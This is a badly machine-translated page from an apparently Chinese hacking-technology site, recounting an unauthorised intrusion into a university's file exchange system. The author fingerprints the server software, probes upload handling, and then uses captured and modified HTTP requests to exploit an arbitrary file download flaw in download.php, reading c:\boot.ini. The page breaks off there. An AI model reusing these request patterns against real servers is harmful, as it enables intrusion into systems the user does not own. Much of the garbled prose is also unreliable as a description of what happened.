Writes in the start:
This safe examination had a period of time in the past, has wanted to write the draft not to have the time, the concrete environment possibly had fades from the memory, but the entire process and the mentality very much understood. As a result in school period after school in school network work room work, therefore quite pays attention to some school website's service and the development. This period discovered that some institute's document exchange system unusual good, the use can bring many aspects in the campus net the convenience. Searched on the bottom wire not ready-made system downloading, must to want presently to write inadequately…
Steps on the spot:
The server opened 21 and 80 ports, Serv-U6.2, Apache/2.055(win32)PHP/5.1.2; Also has a OA system with the Taiwan server on. The black box test, first tests the upload script document, may upload, after obtaining raises the code fetch, carries on the extraction not to be able to analyze…, carries on to the upload process grasps the package, then the structure does not exist document, contract award, also does not have the storm to leave any sensitive information. Carried on the scanning to the entire exchange system also to sweep config.php, google under also not to have other document. Was not a moment ago said that also has the OA system, google OA time has the tendency connection truly, but all connections first is the judgment in the school IP, if in the non-school IP skips a debarkation page directly, tested completely to here reached the impasse. How many passes through does departure, how many pass through comes back to test again does not have the result, really cannot take it? Test when again after inputting raises the code fetch the downloading address to attract me.
“hxxp://www.xxx.edu.cn/ex/download.php?url=exchanging%2F200709121626171664123.jpg&name=dff3badd8b57fee777c63871.jpg”
after url, should be a specific address, then under the revision can under to other document?
Grasps the package:
GET /ex/download.php? url=exchanging%2F200709121626171664123.jpg&name=dff3badd8b57fee777c63871.jpg
HTTP/1.1
Accept: */*
Referer: hxxp://www.xxx.edu.cn/ex/down.php
Accept-Language: zh-cn
UA-CPU: x86
Accept-Encoding: gzip, deflate
User-Agent: Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 5.2; .NET CLR 1.1.4322; InfoPath.1)
Host: www.xxx.edu.cn
Connection: Keep-Alive
Cookie: down_fail_cnt=0
Generally under WIN32 PHP inherits SYS jurisdiction, therefore reads the document simply to go study c:\boot.ini, Telnet server ip 80 transmit following revises the good data
Revision:
/ex/download.php? url=c%3A%5Cboot.ini HTTP/1.1
Accept: */*
Referer: hxxp://www.xxx.edu.cn/ex/down.php
Other pages: : 1 * 2 * 3 * 4 * Next>>
|
You are here: hacking technology
> invades the examination
> Content
Category: Home
> invades the examination